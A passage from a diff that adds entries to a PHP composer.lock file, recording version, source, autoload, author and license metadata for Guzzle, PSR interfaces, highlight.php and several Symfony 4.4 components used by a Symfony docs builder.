+                },
+                "files": [
+                    "src/functions_include.php"
+                ]
+            },
+            "notification-url": "https://packagist.org/downloads/",
+            "license": [
+                "MIT"
+            ],
+            "authors": [
+                {
+                    "name": "Michael Dowling",
+                    "email": "mtdowling@gmail.com",
+                    "homepage": "https://github.com/mtdowling"
+                }
+            ],
+            "description": "Guzzle is a PHP HTTP client library",
+            "homepage": "http://guzzlephp.org/",
+            "keywords": [
+                "client",
+                "curl",
+                "framework",
+                "http",
+                "http client",
+                "rest",
+                "web service"
+            ],
+            "support": {
+                "issues": "https://github.com/guzzle/guzzle/issues",
+                "source": "https://github.com/guzzle/guzzle/tree/6.5"
+            },
+            "funding": [
+                {
+                    "url": "https://github.com/GrahamCampbell",
+                    "type": "github"
+                },
+                {
+                    "url": "https://github.com/Nyholm",
+                    "type": "github"
+                },
+                {
+                    "url": "https://github.com/alexeyshockov",
+                    "type": "github"
+                },
+                {
+                    "url": "https://github.com/gmponos",
+                    "type": "github"
+                },
+                {
+                    "url": "https://github.com/sagikazarmark",
+                    "type": "github"
+                }
+            ],
+            "time": "2020-07-02T06:52:04+00:00"
+        },
+        {
+            "name": "guzzlehttp/promises",
+            "version": "dev-master",
+            "source": {
+                "type": "git",
+                "url": "https://github.com/guzzle/promises.git",
+                "reference": "ddfeedfff2a52661429437da0702979f708e6ac6"
+            },
+            "dist": {
+                "type": "zip",
+                "url": "https://api.github.com/repos/guzzle/promises/zipball/ddfeedfff2a52661429437da0702979f708e6ac6",
+                "reference": "ddfeedfff2a52661429437da0702979f708e6ac6",
+                "shasum": ""
+            },
+            "require": {
+                "php": ">=5.5"
+            },
+            "require-dev": {
+                "symfony/phpunit-bridge": "^4.4 || ^5.1"
+            },
+            "default-branch": true,
+            "type": "library",
+            "extra": {
+                "branch-alias": {
+                    "dev-master": "1.4-dev"
+                }
+            },
+            "autoload": {
+                "psr-4": {
+                    "GuzzleHttp\\Promise\\": "src/"
+                },
+                "files": [
+                    "src/functions_include.php"
+                ]
+            },
+            "notification-url": "https://packagist.org/downloads/",
+            "license": [
+                "MIT"
+            ],
+            "authors": [
+                {
+                    "name": "Michael Dowling",
+                    "email": "mtdowling@gmail.com",
+                    "homepage": "https://github.com/mtdowling"
+                }
+            ],
+            "description": "Guzzle promises library",
+            "keywords": [
+                "promise"
+            ],
+            "support": {
+                "issues": "https://github.com/guzzle/promises/issues",
+                "source": "https://github.com/guzzle/promises/tree/master"
+            },
+            "time": "2020-10-19T16:50:15+00:00"
+        },
+        {
+            "name": "guzzlehttp/psr7",
+            "version": "1.x-dev",
+            "source": {
+                "type": "git",
+                "url": "https://github.com/guzzle/psr7.git",
+                "reference": "25f7f893f0b52b7b14e244a16679d72b1f0088de"
+            },
+            "dist": {
+                "type": "zip",
+                "url": "https://api.github.com/repos/guzzle/psr7/zipball/25f7f893f0b52b7b14e244a16679d72b1f0088de",
+                "reference": "25f7f893f0b52b7b14e244a16679d72b1f0088de",
+                "shasum": ""
+            },
+            "require": {
+                "php": ">=5.4.0",
+                "psr/http-message": "~1.0",
+                "ralouphie/getallheaders": "^2.0.5 || ^3.0.0"
+            },
+            "provide": {
+                "psr/http-message-implementation": "1.0"
+            },
+            "require-dev": {
+                "ext-zlib": "*",
+                "phpunit/phpunit": "~4.8.36 || ^5.7.27 || ^6.5.14 || ^7.5.20 || ^8.5.8 || ^9.3.10"
+            },
+            "suggest": {
+                "laminas/laminas-httphandlerrunner": "Emit PSR-7 responses"
+            },
+            "type": "library",
+            "extra": {
+                "branch-alias": {
+                    "dev-master": "1.7-dev"
+                }
+            },
+            "autoload": {
+                "psr-4": {
+                    "GuzzleHttp\\Psr7\\": "src/"
+                },
+                "files": [
+                    "src/functions_include.php"
+                ]
+            },
+            "notification-url": "https://packagist.org/downloads/",
+            "license": [
+                "MIT"
+            ],
+            "authors": [
+                {
+                    "name": "Michael Dowling",
+                    "email": "mtdowling@gmail.com",
+                    "homepage": "https://github.com/mtdowling"
+                },
+                {
+                    "name": "Tobias Schultze",
+                    "homepage": "https://github.com/Tobion"
+                }
+            ],
+            "description": "PSR-7 message implementation that also provides common utility methods",
+            "keywords": [
+                "http",
+                "message",
+                "psr-7",
+                "request",
+                "response",
+                "stream",
+                "uri",
+                "url"
+            ],
+            "support": {
+                "issues": "https://github.com/guzzle/psr7/issues",
+                "source": "https://github.com/guzzle/psr7/tree/1.x"
+            },
+            "time": "2020-10-22T07:42:05+00:00"
+        },
+        {
+            "name": "paragonie/random_compat",
+            "version": "v9.99.100",
+            "source": {
+                "type": "git",
+                "url": "https://github.com/paragonie/random_compat.git",
+                "reference": "996434e5492cb4c3edcb9168db6fbb1359ef965a"
+            },
+            "dist": {
+                "type": "zip",
+                "url": "https://api.github.com/repos/paragonie/random_compat/zipball/996434e5492cb4c3edcb9168db6fbb1359ef965a",
+                "reference": "996434e5492cb4c3edcb9168db6fbb1359ef965a",
+                "shasum": ""
+            },
+            "require": {
+                "php": ">= 7"
+            },
+            "require-dev": {
+                "phpunit/phpunit": "4.*|5.*",
+                "vimeo/psalm": "^1"
+            },
+            "suggest": {
+                "ext-libsodium": "Provides a modern crypto API that can be used to generate random bytes."
+            },
+            "type": "library",
+            "notification-url": "https://packagist.org/downloads/",
+            "license": [
+                "MIT"
+            ],
+            "authors": [
+                {
+                    "name": "Paragon Initiative Enterprises",
+                    "email": "security@paragonie.com",
+                    "homepage": "https://paragonie.com"
+                }
+            ],
+            "description": "PHP 5.x polyfill for random_bytes() and random_int() from PHP 7",
+            "keywords": [
+                "csprng",
+                "polyfill",
+                "pseudorandom",
+                "random"
+            ],
+            "support": {
+                "email": "info@paragonie.com",
+                "issues": "https://github.com/paragonie/random_compat/issues",
+                "source": "https://github.com/paragonie/random_compat"
+            },
+            "time": "2020-10-15T08:29:30+00:00"
+        },
+        {
+            "name": "psr/container",
+            "version": "dev-master",
+            "source": {
+                "type": "git",
+                "url": "https://github.com/php-fig/container.git",
+                "reference": "381524e8568e07f31d504a945b88556548c8c42e"
+            },
+            "dist": {
+                "type": "zip",
+                "url": "https://api.github.com/repos/php-fig/container/zipball/381524e8568e07f31d504a945b88556548c8c42e",
+                "reference": "381524e8568e07f31d504a945b88556548c8c42e",
+                "shasum": ""
+            },
+            "require": {
+                "php": ">=7.2.0"
+            },
+            "default-branch": true,
+            "type": "library",
+            "extra": {
+                "branch-alias": {
+                    "dev-master": "1.1.x-dev"
+                }
+            },
+            "autoload": {
+                "psr-4": {
+                    "Psr\\Container\\": "src/"
+                }
+            },
+            "notification-url": "https://packagist.org/downloads/",
+            "license": [
+                "MIT"
+            ],
+            "authors": [
+                {
+                    "name": "PHP-FIG",
+                    "homepage": "https://www.php-fig.org/"
+                }
+            ],
+            "description": "Common Container Interface (PHP FIG PSR-11)",
+            "homepage": "https://github.com/php-fig/container",
+            "keywords": [
+                "PSR-11",
+                "container",
+                "container-interface",
+                "container-interop",
+                "psr"
+            ],
+            "support": {
+                "issues": "https://github.com/php-fig/container/issues",
+                "source": "https://github.com/php-fig/container/tree/master"
+            },
+            "time": "2020-10-13T07:07:53+00:00"
+        },
+        {
+            "name": "psr/http-message",
+            "version": "dev-master",
+            "source": {
+                "type": "git",
+                "url": "https://github.com/php-fig/http-message.git",
+                "reference": "efd67d1dc14a7ef4fc4e518e7dee91c271d524e4"
+            },
+            "dist": {
+                "type": "zip",
+                "url": "https://api.github.com/repos/php-fig/http-message/zipball/efd67d1dc14a7ef4fc4e518e7dee91c271d524e4",
+                "reference": "efd67d1dc14a7ef4fc4e518e7dee91c271d524e4",
+                "shasum": ""
+            },
+            "require": {
+                "php": ">=5.3.0"
+            },
+            "default-branch": true,
+            "type": "library",
+            "extra": {
+                "branch-alias": {
+                    "dev-master": "1.0.x-dev"
+                }
+            },
+            "autoload": {
+                "psr-4": {
+                    "Psr\\Http\\Message\\": "src/"
+                }
+            },
+            "notification-url": "https://packagist.org/downloads/",
+            "license": [
+                "MIT"
+            ],
+            "authors": [
+                {
+                    "name": "PHP-FIG",
+                    "homepage": "http://www.php-fig.org/"
+                }
+            ],
+            "description": "Common interface for HTTP messages",
+            "homepage": "https://github.com/php-fig/http-message",
+            "keywords": [
+                "http",
+                "http-message",
+                "psr",
+                "psr-7",
+                "request",
+                "response"
+            ],
+            "support": {
+                "source": "https://github.com/php-fig/http-message/tree/master"
+            },
+            "time": "2019-08-29T13:16:46+00:00"
+        },
+        {
+            "name": "psr/log",
+            "version": "dev-master",
+            "source": {
+                "type": "git",
+                "url": "https://github.com/php-fig/log.git",
+                "reference": "dd738d0b4491f32725492cf345f6b501f5922fec"
+            },
+            "dist": {
+                "type": "zip",
+                "url": "https://api.github.com/repos/php-fig/log/zipball/dd738d0b4491f32725492cf345f6b501f5922fec",
+                "reference": "dd738d0b4491f32725492cf345f6b501f5922fec",
+                "shasum": ""
+            },
+            "require": {
+                "php": ">=5.3.0"
+            },
+            "default-branch": true,
+            "type": "library",
+            "extra": {
+                "branch-alias": {
+                    "dev-master": "1.1.x-dev"
+                }
+            },
+            "autoload": {
+                "psr-4": {
+                    "Psr\\Log\\": "Psr/Log/"
+                }
+            },
+            "notification-url": "https://packagist.org/downloads/",
+            "license": [
+                "MIT"
+            ],
+            "authors": [
+                {
+                    "name": "PHP-FIG",
+                    "homepage": "https://www.php-fig.org/"
+                }
+            ],
+            "description": "Common interface for logging libraries",
+            "homepage": "https://github.com/php-fig/log",
+            "keywords": [
+                "log",
+                "psr",
+                "psr-3"
+            ],
+            "support": {
+                "source": "https://github.com/php-fig/log/tree/master"
+            },
+            "time": "2020-09-18T06:44:51+00:00"
+        },
+        {
+            "name": "ralouphie/getallheaders",
+            "version": "3.0.3",
+            "source": {
+                "type": "git",
+                "url": "https://github.com/ralouphie/getallheaders.git",
+                "reference": "120b605dfeb996808c31b6477290a714d356e822"
+            },
+            "dist": {
+                "type": "zip",
+                "url": "https://api.github.com/repos/ralouphie/getallheaders/zipball/120b605dfeb996808c31b6477290a714d356e822",
+                "reference": "120b605dfeb996808c31b6477290a714d356e822",
+                "shasum": ""
+            },
+            "require": {
+                "php": ">=5.6"
+            },
+            "require-dev": {
+                "php-coveralls/php-coveralls": "^2.1",
+                "phpunit/phpunit": "^5 || ^6.5"
+            },
+            "type": "library",
+            "autoload": {
+                "files": [
+                    "src/getallheaders.php"
+                ]
+            },
+            "notification-url": "https://packagist.org/downloads/",
+            "license": [
+                "MIT"
+            ],
+            "authors": [
+                {
+                    "name": "Ralph Khattar",
+                    "email": "ralph.khattar@gmail.com"
+                }
+            ],
+            "description": "A polyfill for getallheaders.",
+            "support": {
+                "issues": "https://github.com/ralouphie/getallheaders/issues",
+                "source": "https://github.com/ralouphie/getallheaders/tree/develop"
+            },
+            "time": "2019-03-08T08:55:37+00:00"
+        },
+        {
+            "name": "scrivo/highlight.php",
+            "version": "9.18.x-dev",
+            "source": {
+                "type": "git",
+                "url": "https://github.com/scrivo/highlight.php.git",
+                "reference": "006e334dbf8e0a30573174e2cb6e11682b224f15"
+            },
+            "dist": {
+                "type": "zip",
+                "url": "https://api.github.com/repos/scrivo/highlight.php/zipball/006e334dbf8e0a30573174e2cb6e11682b224f15",
+                "reference": "006e334dbf8e0a30573174e2cb6e11682b224f15",
+                "shasum": ""
+            },
+            "require": {
+                "ext-json": "*",
+                "ext-mbstring": "*",
+                "php": ">=5.4"
+            },
+            "require-dev": {
+                "phpunit/phpunit": "^4.8|^5.7",
+                "sabberworm/php-css-parser": "^8.3",
+                "symfony/finder": "^2.8|^3.4",
+                "symfony/var-dumper": "^2.8|^3.4"
+            },
+            "suggest": {
+                "ext-dom": "Needed to make use of the features in the utilities namespace"
+            },
+            "type": "library",
+            "autoload": {
+                "psr-0": {
+                    "Highlight\\": "",
+                    "HighlightUtilities\\": ""
+                },
+                "files": [
+                    "HighlightUtilities/functions.php"
+                ]
+            },
+            "notification-url": "https://packagist.org/downloads/",
+            "license": [
+                "BSD-3-Clause"
+            ],
+            "authors": [
+                {
+                    "name": "Geert Bergman",
+                    "homepage": "http://www.scrivo.org/",
+                    "role": "Project Author"
+                },
+                {
+                    "name": "Vladimir Jimenez",
+                    "homepage": "https://allejo.io",
+                    "role": "Maintainer"
+                },
+                {
+                    "name": "Martin Folkers",
+                    "homepage": "https://twobrain.io",
+                    "role": "Contributor"
+                }
+            ],
+            "description": "Server side syntax highlighter that supports 185 languages. It's a PHP port of highlight.js",
+            "keywords": [
+                "code",
+                "highlight",
+                "highlight.js",
+                "highlight.php",
+                "syntax"
+            ],
+            "support": {
+                "issues": "https://github.com/scrivo/highlight.php/issues",
+                "source": "https://github.com/scrivo/highlight.php"
+            },
+            "funding": [
+                {
+                    "url": "https://github.com/allejo",
+                    "type": "github"
+                }
+            ],
+            "time": "2020-10-17T21:12:39+00:00"
+        },
+        {
+            "name": "symfony/console",
+            "version": "4.4.x-dev",
+            "source": {
+                "type": "git",
+                "url": "https://github.com/symfony/console.git",
+                "reference": "a30dd52eb2129e90e2e15bf107f91eab2219b52c"
+            },
+            "dist": {
+                "type": "zip",
+                "url": "https://api.github.com/repos/symfony/console/zipball/a30dd52eb2129e90e2e15bf107f91eab2219b52c",
+                "reference": "a30dd52eb2129e90e2e15bf107f91eab2219b52c",
+                "shasum": ""
+            },
+            "require": {
+                "php": ">=7.1.3",
+                "symfony/polyfill-mbstring": "~1.0",
+                "symfony/polyfill-php73": "^1.8",
+                "symfony/polyfill-php80": "^1.15",
+                "symfony/service-contracts": "^1.1|^2"
+            },
+            "conflict": {
+                "symfony/dependency-injection": "<3.4",
+                "symfony/event-dispatcher": "<4.3|>=5",
+                "symfony/lock": "<4.4",
+                "symfony/process": "<3.3"
+            },
+            "provide": {
+                "psr/log-implementation": "1.0"
+            },
+            "require-dev": {
+                "psr/log": "~1.0",
+                "symfony/config": "^3.4|^4.0|^5.0",
+                "symfony/dependency-injection": "^3.4|^4.0|^5.0",
+                "symfony/event-dispatcher": "^4.3",
+                "symfony/lock": "^4.4|^5.0",
+                "symfony/process": "^3.4|^4.0|^5.0",
+                "symfony/var-dumper": "^4.3|^5.0"
+            },
+            "suggest": {
+                "psr/log": "For using the console logger",
+                "symfony/event-dispatcher": "",
+                "symfony/lock": "",
+                "symfony/process": ""
+            },
+            "type": "library",
+            "extra": {
+                "branch-version": "4.4"
+            },
+            "autoload": {
+                "psr-4": {
+                    "Symfony\\Component\\Console\\": ""
+                },
+                "exclude-from-classmap": [
+                    "/Tests/"
+                ]
+            },
+            "notification-url": "https://packagist.org/downloads/",
+            "license": [
+                "MIT"
+            ],
+            "authors": [
+                {
+                    "name": "Fabien Potencier",
+                    "email": "fabien@symfony.com"
+                },
+                {
+                    "name": "Symfony Community",
+                    "homepage": "https://symfony.com/contributors"
+                }
+            ],
+            "description": "Symfony Console Component",
+            "homepage": "https://symfony.com",
+            "support": {
+                "source": "https://github.com/symfony/console/tree/4.4"
+            },
+            "funding": [
+                {
+                    "url": "https://symfony.com/sponsor",
+                    "type": "custom"
+                },
+                {
+                    "url": "https://github.com/fabpot",
+                    "type": "github"
+                },
+                {
+                    "url": "https://tidelift.com/funding/github/packagist/symfony/symfony",
+                    "type": "tidelift"
+                }
+            ],
+            "time": "2020-10-13T13:20:53+00:00"
+        },
+        {
+            "name": "symfony/css-selector",
+            "version": "4.4.x-dev",
+            "source": {
+                "type": "git",
+                "url": "https://github.com/symfony/css-selector.git",
+                "reference": "e529efc81e4b3f06932e6ac4e0dab9d536e6afd1"
+            },
+            "dist": {
+                "type": "zip",
+                "url": "https://api.github.com/repos/symfony/css-selector/zipball/e529efc81e4b3f06932e6ac4e0dab9d536e6afd1",
+                "reference": "e529efc81e4b3f06932e6ac4e0dab9d536e6afd1",
+                "shasum": ""
+            },
+            "require": {
+                "php": ">=7.1.3"
+            },
+            "type": "library",
+            "extra": {
+                "branch-version": "4.4"
+            },
+            "autoload": {
+                "psr-4": {
+                    "Symfony\\Component\\CssSelector\\": ""
+                },
+                "exclude-from-classmap": [
+                    "/Tests/"
+                ]
+            },
+            "notification-url": "https://packagist.org/downloads/",
+            "license": [
+                "MIT"
+            ],
+            "authors": [
+                {
+                    "name": "Fabien Potencier",
+                    "email": "fabien@symfony.com"
+                },
+                {
+                    "name": "Jean-François Simon",
+                    "email": "jeanfrancois.simon@sensiolabs.com"
+                },
+                {
+                    "name": "Symfony Community",
+                    "homepage": "https://symfony.com/contributors"
+                }
+            ],
+            "description": "Symfony CssSelector Component",
+            "homepage": "https://symfony.com",
+            "support": {
+                "source": "https://github.com/symfony/css-selector/tree/4.4"
+            },
+            "funding": [
+                {
+                    "url": "https://symfony.com/sponsor",
+                    "type": "custom"
+                },
+                {
+                    "url": "https://github.com/fabpot",
+                    "type": "github"
+                },
+                {
+                    "url": "https://tidelift.com/funding/github/packagist/symfony/symfony",
+                    "type": "tidelift"
+                }
+            ],
+            "time": "2020-10-13T13:20:53+00:00"
+        },
+        {
+            "name": "symfony/docs-builder",
+            "version": "dev-master",
+            "source": {
+                "type": "git",
+                "url": "https://github.com/weaverryan/docs-builder",
+                "reference": "5def2fef2e7c8acade040d74d55b9b96fb8ed262"
+            },
+            "require": {
+                "doctrine/rst-parser": "dev-master",
+                "ext-curl": "*",
+                "ext-json": "*",
+                "guzzlehttp/guzzle": "~6.0",
+                "scrivo/highlight.php": "^9.12.0",
+                "symfony/console": "^4.1",
+                "symfony/css-selector": "^4.1",
+                "symfony/dom-crawler": "^4.1",
+                "symfony/filesystem": "^4.1",
+                "symfony/finder": "^4.1",
+                "symfony/http-client": "^4.3",
+                "twig/twig": "^2.7.3"
+            },
+            "require-dev": {
+                "gajus/dindent": "^2.0",
+                "symfony/phpunit-bridge": "^4.1",
+                "symfony/process": "^4.2"
+            },
+            "default-branch": true,
+            "type": "project",
+            "autoload": {
+                "psr-4": {
+                    "SymfonyDocsBuilder\\": "src"
+                }
+            },
+            "license": [
+                "MIT"
+            ],
+            "description": "The build system for Symfony's documentation",
+            "time": "2020-10-23T00:22:44+00:00"
+        },
+        {
+            "name": "symfony/dom-crawler",
+            "version": "4.4.x-dev",
+            "source": {
+                "type": "git",
+                "url": "https://github.com/symfony/dom-crawler.git",
+                "reference": "0e6f7848438ec672ce9230f774d5272ec02e47dc"
+            },
+            "dist": {
+                "type": "zip",
+                "url": "https://api.github.com/repos/symfony/dom-crawler/zipball/0e6f7848438ec672ce9230f774d5272ec02e47dc",
+                "reference": "0e6f7848438ec672ce9230f774d5272ec02e47dc",
+                "shasum": ""
+            },
+            "require": {
+                "php": ">=7.1.3",
+                "symfony/polyfill-ctype": "~1.8",
+                "symfony/polyfill-mbstring": "~1.0"
+            },
+            "conflict": {
+                "masterminds/html5": "<2.6"
+            },
+            "require-dev": {
+                "masterminds/html5": "^2.6",
+                "symfony/css-selector": "^3.4|^4.0|^5.0"
+            },
+            "suggest": {
+                "symfony/css-selector": ""
+            },
+            "type": "library",
+            "extra": {
+                "branch-version": "4.4"
+            },
+            "autoload": {
+                "psr-4": {
+                    "Symfony\\Component\\DomCrawler\\": ""
+                },
+                "exclude-from-classmap": [
+                    "/Tests/"
+                ]
+            },
+            "notification-url": "https://packagist.org/downloads/",
+            "license": [
+                "MIT"
+            ],
+            "authors": [
+                {
+                    "name": "Fabien Potencier",
+                    "email": "fabien@symfony.com"
+                },
+                {
+                    "name": "Symfony Community",
+                    "homepage": "https://symfony.com/contributors"
+                }
+            ],
+            "description": "Symfony DomCrawler Component",
+            "homepage": "https://symfony.com",
+            "support": {
+                "source": "https://github.com/symfony/dom-crawler/tree/4.4"
+            },
+            "funding": [
+                {
+                    "url": "https://symfony.com/sponsor",
+                    "type": "custom"
+                },
+                {
+                    "url": "https://github.com/fabpot",
+                    "type": "github"
+                },
+                {
+                    "url": "https://tidelift.com/funding/github/packagist/symfony/symfony",
+                    "type": "tidelift"
+                }
+            ],
+            "time": "2020-10-13T13:20:53+00:00"
+        },
+        {
+            "name": "symfony/filesystem",
+            "version": "4.4.x-dev",
+            "source": {
+                "type": "git",
+                "url": "https://github.com/symfony/filesystem.git",
+                "reference": "0921fda04596119d1bcbe6a17cf9989fadd71095"
+            },
+            "dist": {
+                "type": "zip",
+                "url": "https://api.github.com/repos/symfony/filesystem/zipball/0921fda04596119d1bcbe6a17cf9989fadd71095",
+                "reference": "0921fda04596119d1bcbe6a17cf9989fadd71095",
+                "shasum": ""
+            },
+            "require": {
+                "php": ">=7.1.3",
+                "symfony/polyfill-ctype": "~1.8"
+            },
+            "type": "library",
+            "extra": {
+                "branch-version": "4.4"
+            },
+            "autoload": {
+                "psr-4": {
+                    "Symfony\\Component\\Filesystem\\": ""
+                },
+                "exclude-from-classmap": [
+                    "/Tests/"
+                ]
+            },
+            "notification-url": "https://packagist.org/downloads/",
+            "license": [
+                "MIT"
+            ],
+            "authors": [
+                {
+                    "name": "Fabien Potencier",
+                    "email": "fabien@symfony.com"
+                },
+                {
+                    "name": "Symfony Community",
+                    "homepage": "https://symfony.com/contributors"
+                }
+            ],
+            "description": "Symfony Filesystem Component",
+            "homepage": "https://symfony.com",
+            "support": {
+                "source": "https://github.com/symfony/filesystem/tree/4.4"
+            },
+            "funding": [
+                {
+                    "url": "https://symfony.com/sponsor",
+                    "type": "custom"
+                },
+                {
+                    "url": "https://github.com/fabpot",
+                    "type": "github"
+                },
+                {
+                    "url": "https://tidelift.com/funding/github/packagist/symfony/symfony",
+                    "type": "tidelift"
+                }
+            ],
+            "time": "2020-10-21T04:38:54+00:00"
+        },
+        {
+            "name": "symfony/finder",
+            "version": "4.4.x-dev",
+            "source": {
+                "type": "git",
+                "url": "https://github.com/symfony/finder.git",
+                "reference": "591f0fa22eaf3ad819332ac3de1d4ea67cca5932"
+            },
+            "dist": {
+                "type": "zip",
+                "url": "https://api.github.com/repos/symfony/finder/zipball/591f0fa22eaf3ad819332ac3de1d4ea67cca5932",
+                "reference": "591f0fa22eaf3ad819332ac3de1d4ea67cca5932",
+                "shasum": ""
+            },
+            "require": {
+                "php": ">=7.1.3"
+            },
+            "type": "library",
+            "extra": {
+                "branch-version": "4.4"
+            },
+            "autoload": {
+                "psr-4": {
+                    "Symfony\\Component\\Finder\\": ""
+                },
+                "exclude-from-classmap": [
+                    "/Tests/"
+                ]
+            },
+            "notification-url": "https://packagist.org/downloads/",
+            "license": [
+                "MIT"
+            ],
+            "authors": [
+                {
+                    "name": "Fabien Potencier",
+                    "email": "fabien@symfony.com"
+                },
+                {
+                    "name": "Symfony Community",
+                    "homepage": "https://symfony.com/contributors"
+                }
+            ],
+            "description": "Symfony Finder Component",
+            "homepage": "https://symfony.com",
+            "support": {
+                "source": "https://github.com/symfony/finder/tree/4.4"
+            },
+            "funding": [
+                {
+                    "url": "https://symfony.com/sponsor",
+                    "type": "custom"
+                },
+                {
+                    "url": "https://github.com/fabpot",
+                    "type": "github"
+                },
+                {
+                    "url": "https://tidelift.com/funding/github/packagist/symfony/symfony",
+                    "type": "tidelift"
+                }
+            ],
+            "time": "2020-10-13T13:20:53+00:00"
+        },
+        {
+            "name": "symfony/http-client",
+            "version": "4.4.x-dev",
+            "source": {
+                "type": "git",
+                "url": "https://github.com/symfony/http-client.git",
+                "reference": "64db2909fb9311545a118bc46ed620d110cd2e25"
+            },
+            "dist": {
+                "type": "zip",
+                "url": "https://api.github.com/repos/symfony/http-client/zipball/64db2909fb9311545a118bc46ed620d110cd2e25",
+                "reference": "64db2909fb9311545a118bc46ed620d110cd2e25",
+                "shasum": ""
+            },
+            "require": {
+                "php": ">=7.1.3",
+                "psr/log": "^1.0",
+                "symfony/http-client-contracts": "^1.1.10|^2",
+                "symfony/polyfill-php73": "^1.11",
+                "symfony/service-contracts": "^1.0|^2"
+            },
+            "provide": {
+                "php-http/async-client-implementation": "*",
+                "php-http/client-implementation": "*",
+                "psr/http-client-implementation": "1.0",
+                "symfony/http-client-implementation": "1.1"
+            },
+            "require-dev": {
+                "guzzlehttp/promises": "^1.3.1",
+                "nyholm/psr7": "^1.0",
+                "php-http/httplug": "^1.0|^2.0",
+                "psr/http-client": "^1.0",
+                "symfony/dependency-injection": "^4.3|^5.0",
+                "symfony/http-kernel": "^4.4.13",
+                "symfony/process": "^4.2|^5.0"
+            },
+            "type": "library",
+            "extra": {
+                "branch-version": "4.4"
+            },
+            "autoload": {
+                "psr-4": {
+                    "Symfony\\Component\\HttpClient\\": ""
+                },
+                "exclude-from-classmap": [
+                    "/Tests/"
+                ]
+            },
+            "notification-url": "https://packagist.org/downloads/",
+            "license": [
+                "MIT"
+            ],
+            "authors": [
+                {
+                    "name": "Nicolas Grekas",
+                    "email": "p@tchwork.com"
+                },
+                {
+                    "name": "Symfony Community",
+                    "homepage": "https://symfony.com/contributors"
+                }
+            ],
+            "description": "Symfony HttpClient component",
+            "homepage": "https://symfony.com",
+            "support": {
+                "source": "https://github.com/symfony/http-client/tree/4.4"
+            },
+            "funding": [
+                {
+                    "url": "https://symfony.com/sponsor",
+                    "type": "custom"
+                },
+                {
+                    "url": "https://github.com/fabpot",
+                    "type": "github"
+                },
+                {
+                    "url": "https://tidelift.com/funding/github/packagist/symfony/symfony",
+                    "type": "tidelift"
+                }
+            ],
+            "time": "2020-10-20T13:38:40+00:00"
+        },
+        {
+            "name": "symfony/http-client-contracts",
+            "version": "dev-main",
+            "source": {
+                "type": "git",
+                "url": "https://github.com/symfony/http-client-contracts.git",
+                "reference": "41db680a15018f9c1d4b23516059633ce280ca33"
+            },
+            "dist": {
+                "type": "zip",
+                "url": "https://api.github.com/repos/symfony/http-client-contracts/zipball/41db680a15018f9c1d4b23516059633ce280ca33",
+                "reference": "41db680a15018f9c1d4b23516059633ce280ca33",
+                "shasum": ""
+            },
+            "require": {
+                "php": ">=7.2.5"
+            },
+            "suggest": {
+                "symfony/http-client-implementation": ""
+            },
+            "default-branch": true,
+            "type": "library",
+            "extra": {
+                "branch-version": "2.3",
+                "branch-alias": {
+                    "dev-main": "2.3-dev"
+                },
+                "thanks": {
+                    "name": "symfony/contracts",
+                    "url": "https://github.com/symfony/contracts"
+                }
+            },
+            "autoload": {
+                "psr-4": {
+                    "Symfony\\Contracts\\HttpClient\\": ""
+                }
+            },
+            "notification-url": "https://packagist.org/downloads/",
+            "license": [
+                "MIT"
+            ],
+            "authors": [
+                {
+                    "name": "Nicolas Grekas",
+                    "email": "p@tchwork.com"
+                },
+                {
+                    "name": "Symfony Community",
+                    "homepage": "https://symfony.com/contributors"
+                }
+            ],
+            "description": "Generic abstractions related to HTTP clients",
+            "homepage": "https://symfony.com",
+            "keywords": [
+                "abstractions",
+                "contracts",
+                "decoupling",
+                "interfaces",
+                "interoperability",
+                "standards"
+            ],
+            "support": {
+                "source": "https://github.com/symfony/http-client-contracts/tree/v2.3.1"
+            },
+            "funding": [
+                {
+                    "url": "https://symfony.com/sponsor",
+                    "type": "custom"
+                },
+                {
+                    "url": "https://github.com/fabpot",
+                    "type": "github"
+                },
+                {
+                    "url": "https://tidelift.com/funding/github/packagist/symfony/symfony",
+                    "type": "tidelift"
+                }
+            ],
+            "time": "2020-10-14T17:08:19+00:00"
+        },
+        {
+            "name": "symfony/polyfill-ctype",
+            "version": "dev-main",
+            "source": {
+                "type": "git",
+                "url": "https://github.com/symfony/polyfill-ctype.git",
+                "reference": "aed596913b70fae57be53d86faa2e9ef85a2297b"
+            },
+            "dist": {
+                "type": "zip",
+                "url": "https://api.github.com/repos/symfony/polyfill-ctype/zipball/aed596913b70fae57be53d86faa2e9ef85a2297b",
+                "reference": "aed596913b70fae57be53d86faa2e9ef85a2297b",
+                "shasum": ""
+            },
+            "require": {
+                "php": ">=5.3.3"
+            },
+            "suggest": {
+                "ext-ctype": "For best performance"
+            },
+            "default-branch": true,
+            "type": "library",
+            "extra": {
+                "branch-alias": {
+                    "dev-main": "1.19-dev"
+                },
+                "thanks": {
+                    "name": "symfony/polyfill",
+                    "url": "https://github.com/symfony/polyfill"
+                }
+            },
+            "autoload": {
+                "psr-4": {
+                    "Symfony\\Polyfill\\Ctype\\": ""
+                },
+                "files": [
+                    "bootstrap.php"
+                ]
+            },
+            "notification-url": "https://packagist.org/downloads/",
+            "license": [
+                "MIT"
+            ],
+            "authors": [
+                {
+                    "name": "Gert de Pagter",
+                    "email": "BackEndTea@gmail.com"
+                },
+                {
+                    "name": "Symfony Community",
+                    "homepage": "https://symfony.com/contributors"
+                }
+            ],
+            "description": "Symfony polyfill for ctype functions",
+            "homepage": "https://symfony.com",
+            "keywords": [
+                "compatibility",
+                "ctype",
+                "polyfill",
+                "portable"
+            ],
+            "support": {
+                "source": "https://github.com/symfony/polyfill-ctype/tree/v1.19.0"
+            },
+            "funding": [
+                {
+                    "url": "https://symfony.com/sponsor",
+                    "type": "custom"
+                },
+                {
+                    "url": "https://github.com/fabpot",
+                    "type": "github"
+                },
+                {
+                    "url": "https://tidelift.com/funding/github/packagist/symfony/symfony",
+                    "type": "tidelift"
+                }
+            ],
+            "time": "2020-10-23T09:01:57+00:00"
+        },
+        {
+            "name": "symfony/polyfill-intl-idn",
+            "version": "dev-main",
+            "source": {
+                "type": "git",
+                "url": "https://github.com/symfony/polyfill-intl-idn.git",
+                "reference": "fd17ae0603e76ae99d041f567e8611a97d899b03"
+            },
+            "dist": {
+                "type": "zip",
+                "url": "https://api.github.com/repos/symfony/polyfill-intl-idn/zipball/fd17ae0603e76ae99d041f567e8611a97d899b03",
+                "reference": "fd17ae0603e76ae99d041f567e8611a97d899b03",
+                "shasum": ""
+            },
+            "require": {
+                "php": ">=5.3.3",
+                "symfony/polyfill-intl-normalizer": "^1.10",
+                "symfony/polyfill-php70": "^1.10",
+                "symfony/polyfill-php72": "^1.10"
+            },
+            "suggest": {
+                "ext-intl": "For best performance"
+            },
+            "default-branch": true,
+            "type": "library",
+            "extra": {
